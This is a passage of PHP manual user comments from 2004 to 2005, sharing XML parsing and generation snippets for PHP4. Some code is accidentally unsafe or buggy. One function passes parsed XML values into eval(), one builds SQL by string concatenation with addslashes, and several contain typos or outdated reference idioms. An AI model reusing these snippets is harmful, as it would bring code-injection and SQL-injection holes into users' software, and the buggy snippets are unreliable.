               case "open":
               $xml .= str_repeat("\t", $xml_value["level"] - 1);
               $xml .= "<" . strtolower($xml_value["tag"]);
               $xml .= (!isset($xml_value["attributes"]))? ">\n": false;
               break;

               case "complete":
               $xml .= str_repeat("\t", $xml_value["level"] - 1);
               $xml .= "<" . strtolower($xml_value["tag"]);
               $xml .= (!isset($xml_value["attributes"]))? ">\n": false;
               break;

               case "close":
               $xml .= str_repeat("\t", $xml_value["level"] - 1);
               $xml .= "</" . strtolower($xml_value["tag"]);
               $xml .= (!isset($xml_value["attributes"]))? ">\n": false;
               break;

               default:
               break;

           }

           if (isset($xml_value["attributes"])) {

               foreach ($xml_value["attributes"] as $atribute_key => $atribute_value) {
                   $xml .= sprintf(' %s="%s"', strtolower($atribute_key), $atribute_value);
               }

               $xml .= ($xml_value["type"] == "complete")? " />\n": ">\n";

           }

       }

   }

   return $xml;

}

/**
 * Output content as XML
 *
 * @param string $content
 */
function output_xml($content) {

   header("Content-Type: application/xml; charset=ISO-8859-1");
   header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
   header("Last-Modified: ". gmdate("D, d M Y H:i:s") ." GMT");
   header("Cache-Control: no-store, no-cache, must-revalidate");
   header("Cache-Control: post-check=0, pre-check=0", false);
   header("Pragma: no-cache");

   print $content;

}

$arr_xml = xml2php($file);
$xml    = php2xml($arr_xml);

output_xml($xml);

?>
salloum_corp at yahoo dot com
25-Apr-2005 03:23
An example FIX in XMLSimpleParser ..
pille at hbr1 dot com contributed a very very useful parser +regenerator, however, there is a small problem when handling an array.

When adding an object to an array using array_push function,
a new copy of the object is created and stored in the array. Therefore, any change made to the original object will not be
seen in the copy withing the array!

$this->current needs to reference the object in the array!
The only change needed is in replacing the following lines withing startElement function in the second if statement:

           array_push( $this->current->$tag, $obj );
           $this->current =& $obj;

Replace with:
           $num=array_push( $this->current->$tag, $obj );
           $arrayref =& $this->current->$tag;
           $this->current =& $arrayref[$num-1];

and the function will be eventually:

function startElement($parser, $tag, $attributeList) {
       if( is_object( $this->current->$tag ) ) {
           $obj = $this->current->$tag;
           $this->current->$tag = array();
           array_push( $this->current->$tag, $obj );
       }
       if( is_array( $this->current->$tag ) ) {
           $obj =& new stdClass;
           $obj->_PARENT =& $this->current;
           $obj->_ITEMS = 0;
           $num=array_push( $this->current->$tag, $obj );
           $arrayref =& $this->current->$tag;
           $this->current =& $arrayref[$num-1];
       }
       else {
           $this->current->$tag->_PARENT =& $this->current;
           $this->current =& $this->current->$tag;
           $this->current->_ITEMS = 0;
       }
       $this->current->_PARENT->_ITEMS ++;
   }
simonguada at yahoo dot fr
06-Apr-2005 05:31
to import xml into mysql

$file = "article_2_3032005467.xml";
$feed = array();
$key = "";
$info = "";

function startElement($xml_parser,  $attrs ) {
  global $feed;
   }

function endElement($xml_parser, $name) {
  global $feed,  $info;
   $key = $name;
  $feed[$key] = $info;
  $info = ""; }

function charData($xml_parser, $data ) {
  global $info;
  $info .= $data; }

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "charData" );
$fp = fopen($file, "r");
while ($data = fread($fp, 8192))
!xml_parse($xml_parser, $data, feof($fp));
xml_parser_free($xml_parser);

$sql= "INSERT INTO `article` ( `";
$j=0;
$i=count($feed);
foreach( $feed as $assoc_index => $value )
  {
  $j++;
  $sql.= strtolower($assoc_index);
  if($i>$j) $sql.= "` , `";
  if($i<=$j) {$sql.= "` ) VALUES ('";}
  }
 $h=0;
foreach( $feed as $assoc_index => $value )
  {
  $h++;
  $sql.= utf8_decode(trim(addslashes($value)));
  if($i-1>$h) $sql.= "', '";
  if($i<=$h) $sql.= "','')";
  }
  $sql=trim($sql);
  echo $sql;
kerxen at caramail dot com
28-Mar-2005 10:04
To use XML with objetcs, we can use xml_set_object () :
Pour utiliser XML avec des objets, on utilise xml_set_object () :

class xml  {
   var $parser;

   function xml()  // constructor
   {
       $this->parser = xml_parser_create();

       xml_set_object($this->parser, $this);
       xml_set_element_handler($this->parser, "tag_open", "tag_close");
       xml_set_character_data_handler($this->parser, "cdata");
   }

   function tag_open($parser, $tag, $attributes)
   {
       var_dump($parser, $tag, $attributes);
   }

   function tag_close($parser, $tag)
   {
       var_dump($parser, $tag);
   }

   function cdata($parser, $cdata)
   {
       var_dump($parser, $cdata);
   }

   function parse($data)
   {
       xml_parse($this->parser, $data);
   }

} // end of class xml

$xml_parser = new xml();  // creation of the objet
$xml_parser->parse("<a id='hello World'>PHP</a>");

Have a nice use of this piece of code.

This can be used to share XML files with others sites.

Eddy
http://www.djfrance.net
dma05 at web dot de
24-Mar-2005 03:48
re: cubecode at cubecode dot com

If you read the whole file in one chunk, you should watch out for the memory limit that is set in PHP's configuration. Many web servers only allow a few megabytes of ram to be used by your script, so if you were trying to parse a big file on one of those, your script might run out of memory and won't be able to finish.
Reading the file in small chunks and then concatenating the plaintext-parts might prevent that.
cubecode at cubecode dot com
23-Mar-2005 03:33
In my test on SVG source, whith  :
while ($data = fread($fp, 4096)),

if 4096 byte is at the botom of text in <TSPAN>,
XMLhandler cut plain text in 2 parts.

I use :
$data = fread( $fp, filesize($source) ))
john at etechdata dot com dot au
08-Mar-2005 06:42
This code uses CURL to connect to a server and post XML info to it and then capture the response from the server. I spent hours trying to find the solution and it's really quite simple. Easy to say AFTER you find the answer. Hope it helps someone.

<?php
// store your XML code into a variable line by line
// this is simply an example. you should replace it with your XML code
$XPost = "<?xml version='1.0' encoding='UTF-8'?>";
$XPost .= "<XMLCodeBody>";
$XPost .= "<MessageInfo>";
$XPost .= "<messageID>8af793f9af34bea0ecd7eff71c94d6</messageID>";
$XPost .= "<messageTimestamp>20040710050758444000+600</messageTimestamp>";
$XPost .= "<timeoutValue>60</timeoutValue>";
$XPost .= "<apiVersion>spxml-3.0</apiVersion>";
$XPost .= "</MessageInfo>";
$XPost .= "</XMLCodeBody>";

$url = "https://www.urltopost.data.to"; // enter the URL to post to here
$ch = curl_init();    // initialize curl handle
curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_HEADER, 1);  // capture the returned headers
curl_setopt($ch, CURLOPT_TIMEOUT, 4); // times out after 4s
curl_setopt($ch, CURLOPT_POSTFIELDS, $XPost); // add POST fields
$result = curl_exec($ch); // run the whole process
// the headers returned from the server will now be stored in $result

// for now display the result to screen
echo "<pre>";
print_r($result);
echo "</pre>";
// once you have the result you can simply extract the response and use it.
?>
pille at hbr1 dot com
05-Mar-2005 09:52
A simple xml parser +regenerator class without handling attributes:

<?
class XMLSimpleParser {

   function XMLSimpleParser($data,$encoding='') {
       $this->document = new stdClass();
       $this->current =& $this->document;

       $xml_parser = xml_parser_create($encoding);
       xml_set_object($xml_parser, &$this);
       xml_set_element_handler($xml_parser, 'startElement', 'endElement');
       xml_set_character_data_handler($xml_parser, 'characterData');

       xml_parse($xml_parser, $data, true);
       $this->encoding = xml_parser_get_option( $xml_parser, XML_OPTION_TARGET_ENCODING );
       xml_parser_free($xml_parser);

       unset( $this->document->_ITEMS );
       unset( $this->current );
   }

   function startElement($parser, $tag, $attributeList) {
       if( is_object( $this->current->$tag ) ) {
           $obj = $this->current->$tag;
           $this->current->$tag = array();
           array_push( $this->current->$tag, $obj );
       }
       if( is_array( $this->current->$tag ) ) {
           $obj =& new stdClass;
           $obj->_PARENT =& $this->current;
           $obj->_ITEMS = 0;
           array_push( $this->current->$tag, &$obj );
           $this->current =& $obj;
       }
       else {
           $this->current->$tag->_PARENT =& $this->current;
           $this->current =& $this->current->$tag;
           $this->current->_ITEMS = 0;
       }
       $this->current->_PARENT->_ITEMS ++;
   }

   function endElement($parser, $tag) {
       $parent =& $this->current->_PARENT;
       if( $this->current->_DATA != '' || $this->current->_ITEMS == 0 ) {
           $this->current = $this->current->_DATA;
       }
       else {
           unset( $this->current->_PARENT );
           unset( $this->current->_ITEMS );
           unset( $this->current->_DATA );
       }
       $this->current =& $parent;
   }

   function characterData($parser, $data) {
       $this->current->_DATA = trim( $data );
   }

   function generateXML( $encoding = '' ) {
       if( ! $encoding ) $encoding = $this->encoding;
       $this->xml = '<?xml version="1.0"';
       if( $encoding ) $this->xml .= ' encoding="' . $encoding . '"';
       $this->xml .= "?>\n";
       $this->xml .= $this->_generateXML( $this->document, 0 );
       return $this->xml;
   }

   function _generateXML( $item, $level ) {
       $xml = '';
       if( is_object( $item ) ) {
           $vars = get_object_vars( $item );
           foreach( $vars as $key => $val ) {
               if( is_array( $val ) ) {
                   foreach( $val as $entry ) {
                       for( $i = 0; $i < $level; $i ++ )
                           $xml .= "\t";
                       $xml .= '<' . $key;
                       if( $xml2 = $this->_generateXML( $entry, $level + 1 ) ) {
                           $xml .= ">\n" . $xml2;
                           for( $i = 0; $i < $level; $i ++ )
                               $xml .= "\t";
                           $xml .= '</' . $key . '>' . "\n";
                       }
                       else {
                           $xml .= " />\n";
                       }
                   }
               }
               else if( is_object( $val ) ) {
                   for( $i = 0; $i < $level; $i ++ )
                       $xml .= "\t";
                   $xml .= '<' . $key;
                   if( $xml2 = $this->_generateXML( $val, $level + 1 ) ) {
                       $xml .= ">\n" . $xml2;
                       for( $i = 0; $i < $level; $i ++ )
                           $xml .= "\t";
                       $xml .= '</' . $key . ">\n";
                   }
                   else {
                       $xml .= " />\n";
                   }
               }
               else {
                   for( $i = 0; $i < $level; $i ++ )
                       $xml .= "\t";
                   $xml .=
                       '<' . $key . '>' .
                       $val .
                       '</' . $key . ">\n";
               }
           }
       }
       return $xml;
   }
}
?>
php at NOSPAM dot stratos-online dot nl
10-Feb-2005 04:48
the XML_OPTION_SKIP_WHITE din't work for me.
Or i don't fully understand what it is supposed to do.

either way, if you want to get rid of all access white space, new lines and tabs in your formatted XML, the following code snippet might help.

<?php
$buffer = preg_replace('/\>(\n|\r|\r\n| |\t)*\</','><',$buffer);
?>

i'm sure it isn't effecient, but atleast it works. (for me)
however when you would be parsing cdata with sgml style tags in them. (< >) I'm sure it will horribly mess it up.
compu_global_hyper_mega_net_2 at yahoo dot com
20-Sep-2004 04:35
The documentation regarding white space was never complete I think.

The XML_OPTION_SKIP_WHITE doesn't appear to do anything.  I want to preserve the newlines in a cdata section.  Setting XML_OPTION_SKIP_WHITE to 0 or false doesn't appear to help.  My character_data_handler is getting called once for each line.  This obviously should be reflected in the documentation as well.  When/how often does the handler get called exactly?  Having to build separate test cases is very time consuming.

Inserting newlines myself in my cdata handler is no good either.  For non actual CDATA sections that cause my handler to get called, long lines are split up in multiple calls.  My handler would not be able to tell the difference whether or not the subsequent calls would be due to the fact that the data is coming from the next line or the fact that some internal buffer is long enough for it to 'flush' out and call the handler.
This behaviour also needs to be properly documented.
andrewcare at execulink dot com
02-Jul-2004 07:24
I've been working on a similiar tree-based generator (although somewhat simpler), and I thought that it might be helpful to a developer just starting out:

http://www.drmatta.com/new/xml/

Simplified source:

<?
$file = /*File to be parsed*/;
$elements = $stack = array();
$count = $depth = 0;

class element{
   var $name = '';
   var $attributes = array();
   var $data = '';
   var $depth = 0;
}

function start_element_handler($parser, $name, $attribs){
   global $elements, $stack, $count, $depth;

   $id = $count;
   $element = new element;
   $elements[$id] = $element;

   $elements[$id]->name = $name;

   while(list($key, $value) = each($attribs))
       $elements[$id]->attributes[$key] = $value;

   $elements[$id]->depth = $depth;

   array_push($stack, $id);

   $count++;
   $depth++;
}

function end_element_handler($parser, $name){
   global $stack, $depth;

   array_pop($stack);

   $depth--;
}

function character_data_handler($parser, $data){
   global $elements, $stack;

   $elements[$stack[count($stack)-1]]->data .= $data;
}

$xml_parser = xml_parser_create('');

xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0);

xml_set_element_handler($xml_parser, "start_element_handler", "end_element_handler");
xml_set_character_data_handler($xml_parser, "character_data_handler");

if(!file_exists($file))
   die("\n<p>\"$file\" does not exist.</p>\n</body>\n</html>");

if(!($handle = fopen($file, "r")))
   die("<p>Cannot open \"$file\".</p>\n</body>\n</html>");

while($contents = fread($handle, 4096))
   xml_parse($xml_parser, $contents, feof($handle));

fclose($handle);

xml_parser_free($xml_parser);

echo "<hr />\n";

$depth = $offset = 0;

while(list($key_a) = each($elements)){
   $depth--;
   $offset = 0;
   if($elements[$key_a]->depth < $depth){
       while($elements[$key_a]->depth != (($elements[$key_a - $offset]->depth) - 1)  || $offset == 0){
           $offset++;
           if($elements[$key_a]->depth == (($elements[$key_a - $offset]->depth) - 1))
               echo "<dl>\n<dt><strong>Element Closed:</strong></dt>\n<dd>" . $elements[$key_a - $offset]->name . "</dd>\n</dl>\n<hr />\n";
       }
       $depth--;
   }
   if($elements[$key_a]->depth == $depth && $depth != 0){
       while($elements[$key_a]->depth != $elements[$key_a - $offset]->depth  || $offset == 0){
           $offset++;
           if($elements[$key_a]->depth == $elements[$key_a - $offset]->depth)
               echo "<dl>\n<dt><strong>Element Closed:</strong></dt>\n<dd>" . $elements[$key_a - $offset]->name . "</dd>\n</dl>\n<hr />\n";
       }
       $depth--;
   }
   $depth++;
   echo "<dl>\n<dt><strong>Element:</strong></dt>\n<dd>" . $elements[$key_a]->name . "</dd>\n</dl>\n";
   echo "<dl>\n<dt><strong>Attributes:</strong></dt>\n";
   if(empty($elements[$key_a]->attributes))
       echo "<dd>No attributes specified</dd>\n";
   else{
       while(list($key_b, $value) = each($elements[$key_a]->attributes))
           echo "<dd>$key_b=\"$value\"</dd>\n";
   }
   echo "</dl>\n<dl>\n<dt><strong>Data:</strong></dt>\n";
   if(trim($elements[$key_a]->data) == '')
       echo "<dd>No data specified</dd>\n";
   else
       echo "<dd>" . $elements[$key_a]->data . "</dd>\n";
   echo "</dl>\n<dl>\n<dt><strong>Depth:</strong></dt>\n<dd>" . $elements[$key_a]->depth . "</dd>\n</dl>\n<hr />\n";
   $depth++;
}

$depth--;

for($i = $depth; $i >= 0; $i--){
   $offset = 0;
   $count = count($elements) - 1;
   for($j = 0; $j <= $count; $j++){
       if($elements[$count - $j]->depth == $depth){
           echo "<dl>\n<dt><strong>Element Closed:</strong></dt>\n<dd>" . $elements[$count - $j]->name . "</dd>\n</dl>\n<hr />\n";
           break;
       }
   }
   $depth--;
}
?>

A few good tutorials on the subject of parsing XML with PHP:

http://www.zend.com/zend/art/parsing.php
http://www.sitepoint.com/article/560/
talraith at withouthonor dot com
29-Jun-2004 09:11
If you are looking for some heavy duty code to parse or create XML documents, then may I suggest taking a look at a class module I am working on.  The module is complete except for support of namespaces and XPath.

The class takes a string of XML code and creates a TRUE object tree.  Likewise, you can create a tree in your code and generate an XML document.  There are no eval() statements used at all unlike some of the other examples shown here.

I posted this a while ago, but it has since been buried by a number of posts and I believe it to be beneficial to anyone looking to use XML / PHP to see this information.

http://www.withouthonor.com/obj_xml.phps for the source code.  Sample usage can be found in my post below.
torsten at jserver dot de
08-Jun-2004 06:43
I expanded the function below a little bit, cause I wasn't really happy with the array created. This version creates an array, which has the same structure as the XML-Tree

<?php

   // put elements, that need to be put in a list
   // here
   $XML_LIST_ELEMENTS = array( "concert", "song" );

   function makeXMLTree($file)
   {
       // read file
       $open_file = fopen($file, "r");
       $data = "";
       while ($r=fread($open_file,8192) ) {
           $data .= $r;
       }

       // create parser
       $parser = xml_parser_create();
       xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
       xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,1);
       xml_parse_into_struct($parser,$data,$values,$tags);
       xml_parser_free($parser);

       // we store our path here
       $hash_stack = array();

       // this is our target
       $ret = array();
       foreach ($values as $key => $val) {

         switch ($val['type']) {
             case 'open':
               array_push($hash_stack, $val['tag']);
               if (isset($val['attributes']))
                   $ret = composeArray($ret, $hash_stack, $val['attributes']);
               else
                   $ret = composeArray($ret, $hash_stack);
               break;

             case 'close':
               array_pop($hash_stack);
               break;

             case 'complete':
               array_push($hash_stack, $val['tag']);
               $ret = composeArray($ret, $hash_stack, $val['value']);
               array_pop($hash_stack);

               // handle attributes
               if (isset($val['attributes']))
               {
                   while(list($a_k,$a_v) = each($val['attributes']))
                   {
                     $hash_stack[] = $val['tag']."_attribute_".$a_k;
                     $ret = composeArray($ret, $hash_stack, $a_v);
                     array_pop($hash_stack);
                   }
               }

               break;
         }
     }

     return $ret;
   }

   function &composeArray($array, $elements, $value=array())
   {
     global $XML_LIST_ELEMENTS;

     // get current element
     $element = array_shift($elements);

     // does the current element refer to a list
     if (in_array($element,$XML_LIST_ELEMENTS))
     {
         // more elements?
         if(sizeof($elements) > 0)
         {
           $array[$element][sizeof($array[$element])-1] = &composeArray($array[$element][sizeof($array[$element])-1], $elements, $value);
         }
         else // if (is_array($value))
         {
           $array[$element][sizeof($array[$element])] = $value;
         }
     }
     else
     {
         // more elements?
         if(sizeof($elements) > 0)
         {
           $array[$element] = &composeArray($array[$element], $elements, $value);
         }
         else
         {
           $array[$element] = $value;
         }
     }

     return $array;
   }

   echo "<pre>";
   $res = makeXMLTree($xml_file);
   var_dump($res);
   echo "</pre>";
?>
juliano at setor4 dot com
26-May-2004 12:56
An update of rcotta at ig dot com dot br. The function below will not overwrite an existent element.
<?
   function makeXMLTree($file) {

       $open_file = fopen($file, "r");
         $data = fread($open_file, filesize($file));
         $ret = array();

         $parser = xml_parser_create();
         xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
         xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,1);
         xml_parse_into_struct($parser,$data,$values,$tags);
         xml_parser_free($parser);

         $hash_stack = array();
       $a=0;
         foreach ($values as $key => $val) {
           switch ($val['type']) {
                   case 'open':
                       array_push($hash_stack, $val['tag']);
                   break;

                   case 'close':
                       array_pop($hash_stack);
                   break;

                   case 'complete':
                       array_push($hash_stack, $val['tag']);

                       // uncomment to see what this function is doing
                   /* echo("\$ret[$a][" . implode($hash_stack, "][") . "] = '{$val[value]}';\n");
                     $a++;*/

                     eval("
                           \$ret[\$a][" . implode($hash_stack, "][") . "] = '{$val[value]}';
                           \$a++;");
                       array_pop($hash_stack);
                   break;
             }
         }
         return $ret;
       }

   $res = makeXMLTree($xml_file);
   print_r($res);
?>
johnt at divector dot net
13-May-2004 04:40
When I first read this documentation, and tried the examples none of which seemed to work. The contributed ones in the notes were a bit "long winded" for a simple example to demonstrate a working example of the required functions. So I came up with this, while not perfect, it does execute and give an idea of the functions and Call back functions to create an XML Parser.

<?PHP
// Variables
$file = "xmldata.xml";
$feed = array();
$key = "";
$info = "";
$in_HEAD = false;

function startElement($xml_parser, $name, $attrs ) {
  global $feed, $key, $in_HEAD;
  $key = $name;
  if( $name == "HEAD" )
   $in_HEAD = true; }

function endElement($xml_parser, $name) {
// The Workhorse of the Call Back Functions
// Most of the programming will be put in this function.

  global $feed, $key, $info, $in_HEAD;

  if( $name == "HEAD" )
   $in_HEAD = false;
  if($in_HEAD==false)
   $key = $name;
  elseif( $in_HEAD )
   $key = "HEAD_".$name;

  $feed[$key] = $info;
  $info = ""; }

function charData($xml_parser, $data ) {
  // $xml_parser - The resource ID for this parser
  // $data - The character data returned by the parser, from the XML file
  global $info;
  $info .= $data; }

// The Beginning of Execution *******************************************

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "charData" );
$fp = fopen($file, "r");
while ($data = fread($fp, 8192))
  !xml_parse($xml_parser, $data, feof($fp));
xml_parser_free($xml_parser);

// Start Web page
echo "<HTML>\n";
echo "<HEAD>\n";
echo "<TITLE>".$feed['HEAD_TITLE']."</TITLE>\n";
echo "</HEAD>\n";
echo "<BODY>\n";
echo "<CENTER><H1>".$feed['HEAD_TITLE']."</H1></CENTER>\n";
echo "<HR>\n";
foreach( $feed as $assoc_index => $value )
  {
   echo "\$assoc_index = $assoc_index<BR> \$value = $value<BR><BR>\n";
  }
echo "</BODY>\n";
echo "</HTML>\n";
?>

<?xml version="1.0" encoding="UTF-8"?>
<XML>
<HEAD>
<TITLE>XML Data Demo</TITLE>
<DESCRIPTION>XML Data Demo for testing XML parsers. A Simple demo for demonstrating the PHP Call Back functions.</DESCRIPTION>
</HEAD>
<FUNCLIST>The functions necessary for Parser Creation are: xml_parser_create(); xml_set_element_handler($xml_parser, "startElement", "endElement");xml_set_character_data_handler($xml_parser, "charData" );</FUNCLIST>
<RECAP>The Really neat thing here is allowing the programmer complete control over these call back functions to parse virtually any XML file. In my opinion, an extra variable in the Call Back functions allowing an array to be passed would be better, this would keep globals from being used.</RECAP>
</XML>
moc.oohay@mijito
07-May-2004 01:21
I found a type-o in the XMLTag->addChild function.  I re-examined the code and changed the function so it is a little cleaner.

Also, as an interesting side-note.  I ran the script on a 1 MB XML file.  The php.exe memory usage exceeded 50 MB during runtime.  I did a print_r($XML_data) dumping into a plain-text file which resulted in a 70 MB text file. However, after I removed all the [spaces] used for formatting and readability the file size was reduced to 5 MB.

This script may not be efficient for very large data sets. ;)

I am very pleased that the script parsed the file without error.  A very successful "real world" test.

Repaired addChild:
   function addChild($XMLTag_obj) {
       $key = $XMLTag_obj->name;

       // If this tag *name* is not already a child initialize it.
       if ( !isset($this->children[$key][0]) ) {
           $this->children[$key][0] = 0;
       }

       // Get the next array index. This is the next available location to store the child
       $index = $this->children[$key][0] + 1;

       // Add the child and update the tag count
       $this->children[$key][$index] = $XMLTag_obj;
       $this->children[$key][0]++;

       // Return the Child Tag
       return $this->children[$key][$index];
   }
otijim at AT at yahoo dot dot dot com
04-May-2004 03:47
After going through all the examples of XML to data structure examples posted here and having problems will all of them I came up with my own.  It's not thoroughly tested but works very well for me.

This example will not give any 'depricated pass by reference' errors and returns false on mal-formed XML.

Example of using the Classes:
<?
$myXMLParser = new XMLStructParser;
$cds_XMLTag = $myXMLParser->parse('<cd_list><cd title="Best of PBS"><track number="1">Sesame Street Theme</track></cd></cd_list>');
print $bookXMLTag->children['cd_list'][1]->children['track'][1]->cdata;
?>

Here are the two class files:
XMLStructParse.phpclass
<?

require_once("XMLTag.phpclass");
class XMLStructParser  {
   var $index;        // Tracks position in the stack
   var $obj_data;    // Holds the root XMLTag object
   var $stack;        // Stack to track where we are in the XML Hiarchy

   // Constructor
   function XMLStructParser() {
   }

   function parse($data) {
       // Prepare the Object Array
       $this->index = 0;
       $this->obj_data = new XMLTag("XML");

       // Prepare the Stack
       $this->stack[$this->index] = &$this->obj_data;

       // Setup the XML Parser
       $xml_parser = xml_parser_create();
       xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, false);
       xml_set_object($xml_parser, $this);
       xml_set_element_handler($xml_parser, "tag_open", "tag_close");
       xml_set_character_data_handler($xml_parser, "cdata");

       // Parse the XML
       $parse_results = xml_parse($xml_parser, $data);

       // Clean up
       xml_parser_free($xml_parser);

       if ($parse_results) {
           return $this->obj_data;
       } else {
           return false;
       }
   }

   function tag_open($parser, $tag, $attributes) {
       // Create the new Child tag
       $theTag = new XMLTag($tag);
       $theTag->addAttributes($attributes);

       // Add the child tag to the current tag. The & is necessary to get a pointer to the object child in the object. Not a Clone of it.
       $childTag = &$this->stack[$this->index]->addChild($theTag);

       // Make the new child tag now be the current tag
       $this->index++;
       $this->stack[$this->index] = &$childTag;
   }

   function cdata($parser, $cdata) {
       $this->stack[$this->index]->cdata = $cdata;
   }

   function tag_close($parser, $tag) {
       $this->index--;
   }
}

?>

XMLTag.phpclass
<?

class XMLTag {
   var $name;            // String
   var $cdata;            // String
   var $children;        // Array of children.  array['tag'][0] is the tag count.  [1] ... [n] reference each child tag object

   // Constructor
   function XMLTag($name, $cdata="") {
       $this->name = $name;
       $this->cdata = $cdata;
   }

   // Addes attributes as children.  An attribute is really just a quick way to do a child tag anyways
   function addAttributes($attribute_array) {
       foreach ($attribute_array as $key => $value) {
           // If no children by this name exist then initialize it.
           if ( !isset($this->children[$key][0]) ) {
               $index = 1;
               $this->children[$key][0] = 0;
           } else {
               $index = $this->children[$key][0] + 1;
           }

           // Assign the value and increment the tag count
           $this->children[$key][$index] = new XMLTag($key, $value);
           $this->children[$key][0]++;
       }

       return;
   }

   function addChild($XMLTag_obj) {
       $key = $XMLTag_obj->name;

       // If this tag *name* is not already a child initialize it.
       if ( !isset($this->children[$key][0]) ) {
           $index = 1;
           $this->children[$key][0] = 0;
       } else {
           $index = $$this->children[$key][0] + 1;
       }

       // Add the child and update the tag count
       $this->children[$key][$index] = $XMLTag_obj;
       $this->children[$key][0]++;

       // Return the Child Tag
       return $this->children[$key][$index];
   }
}
?>
nate at adeptisoft dot com
22-Apr-2004 09:51
just a slight modification to info at b1g dot de's wonderful RDFParse class... I have changed "titel" to "title" and added the description.. so output should look like:

[1] => Array
   (
       [description] => Some story here
       [title] => A title
       [link] => http://www.urlofchoice.net/
   )

-------

<?php
class RDFParser {
   var $_item;
   var $_url;

   function RDFParser($url) {
       $this->_url = $url;
   }

   function ParseRDF() {
       $this->_item = array('i' => 0);

       $parser = xml_parser_create();
       xml_set_object($parser, &$this);
       xml_set_element_handler($parser, "_startElement", "_endElement");
       xml_set_character_data_handler($parser, "_charHandler");

       $fp = fopen($this->_url, "r");
       while(!feof($fp)) {
           $line = fgets($fp, 4096);
           xml_parse($parser, $line);
       }
       fclose($fp);

       xml_parser_free($parser);

       return($this->_item['items']);
   }

   function _startElement($parser, $name, $attrs)  {
       $this->_item['maychar'] = true;

       if($name=="ITEM") {
           $this->_item['mayparse'] = true;
           $this->_item['i']++;
       } elseif($name=="TITLE") {
           $this->_item['akt'] = "TITLE";
       } elseif($name=="LINK") {
           $this->_item['akt'] = "LINK";
       } elseif($name=="DESCRIPTION") {
           $this->_item['akt'] = "DESCRIPTION";
       } else {
           $this->_item['maychar'] = false;
       }
   }

   function _endElement($parser, $name) {
       if($name=="ITEM") {
           $this->_item['mayparse'] = false;
       } elseif($name=="TITLE" || $name=="LINK" || $name="DESCRIPTION") {
           $this->_item['maychar'] = false;
       }
   }

   function _charHandler($parser, $data) {
       if($this->_item['maychar'] && $this->_item['mayparse']) {
           if($this->_item['akt']=="TITLE") {
               $this->_item['items'][$this->_item['i']]['title'] = $data;
           }
           if($this->_item['akt']=="LINK") {
               $this->_item['items'][$this->_item['i']]['link'] = $data;
           }
           if($this->_item['akt']=="DESCRIPTION") {
               $this->_item['items'][$this->_item['i']]['description'] = $data;
           }
       }
   }
}
?>
chibo at gmx dot de
15-Apr-2004 07:09
TO: jon at gettys dot org (the simple xml parser)

For german language change the function:

function characterData($parser, $data) {
   global $obj;
   eval($obj->tree.'->data=\''. $data .'\';');
}

to:

function characterData($parser, $data) {
   global $obj;
   eval($obj->tree.'->data.=\''. $data .'\';');
}

to get all the value of the attribute! otherwise you get only the last piece of the entire string.

Greets,

Chi
askgopal [AT] sify [PERIOD] com
06-Apr-2004 06:47
A simple XML parser that would allow us to retrieve a value of an element using its path.

-- cut here --
<?
$_elements = array();
$_cur_path = '';

function parse_xml_config($file, $elems)
{
       global  $_elements;

       $e = error_reporting(0);
       if (($fp = fopen($file, 'r')) === false)
               return ($elements);
       $xph = xml_parser_create();
       if (is_resource($xph)) {
               xml_parser_set_option($xph, XML_OPTION_CASE_FOLDING, true);
               if (!xml_set_element_handler($xph,
                   'start_elem_handler', 'end_elem_handler'))
                       return ($elements);
               while (($data = fread($fp, 4096)))
                       xml_parse($xph, $data, feof($fp));
               xml_parser_free($xph);
       }
       fclose($fp);
       $elems = $_elements;
       error_reporting($e);
}

function start_elem_handler($xph, $name, $attrs)
{
       global  $_elements, $_cur_path;

       $e = error_reporting(0);
       $_cur_path .= "/$name";
       while (list($key,$val) = each($attrs)) {
               $index = "$_cur_path/$key";
               if (isset($_elements[$index])) {
                       $tmp = $_elements[$index];
                       $_elements[$index] = array();
                       array_push($_elements[$index], $tmp);
                       array_push($_elements[$index], $val);
               } else
                       $_elements[$index] = $val;
       }
       error_reporting($e);
}

function end_elem_handler($xph, $name)
{
       global  $_elements, $_cur_path;
       $_cur_path = dirname($_cur_path);
}

/* main prog */
$config = array();
parse_xml_config('/usr/local/etc/myconfig.xml', &$config);
print_r($config);
?>
-- paste --

if the input is:
<config>
  <db host="localhost" username="foo" password="bar" db="test"/>
  <column name="x" value="x1"/>
  <column name="y" value="y1"/>
</config>

the output would be:
Array
(
   [/CONFIG/DB/HOST] => localhost
   [/CONFIG/DB/USERNAME] => foo
   [/CONFIG/DB/PASSWORD] => bar
   [/CONFIG/DB/DB] => test
   [/CONFIG/COLUMN/NAME] => Array
       (
           [0] => x
           [1] => y
       )

   [/CONFIG/COLUMN/VALUE] => Array
       (
           [0] => x1
           [1] => y1
       )

)
odders
19-Mar-2004 02:36
I wrote a simple xml parser mainly to deal with rss version 2. I found lots of examples on the net, but they were all masive and bloated and hard to manipulate.

Output is sent to an array, which holds arrays containg data for each item.

Obviously, you will have to make modifications to the code to suit your needs, but there isnt a lot of code there, so that shouldnt be a problem.

<?php

   $currentElements = array();
   $newsArray = array();

   readXml("./news.xml");

   echo("<pre>");
   print_r($newsArray);
   echo("</pre>");

   // Reads XML file into formatted html
   function readXML($xmlFile)
   {

     $xmlParser = xml_parser_create();

     xml_parser_set_option($xmlParser, XML_OPTION_CASE_FOLDING, false);
     xml_set_element_handler($xmlParser, startElement, endElement);
     xml_set_character_data_handler($xmlParser, characterData);

     $fp = fopen($xmlFile, "r");

     while($data = fread($fp, filesize($xmlFile))){
         xml_parse($xmlParser, $data, feof($fp));}

     xml_parser_free($xmlParser);

   }

   // Sets the current XML element, and pushes itself onto the element hierarchy
   function startElement($parser, $name, $attrs)
   {

     global $currentElements, $itemCount;

     array_push($currentElements, $name);

     if($name == "item"){$itemCount += 1;}

   }

   // Prints XML data; finds highlights and links
   function characterData($parser, $data)
   {

     global $currentElements, $newsArray, $itemCount;

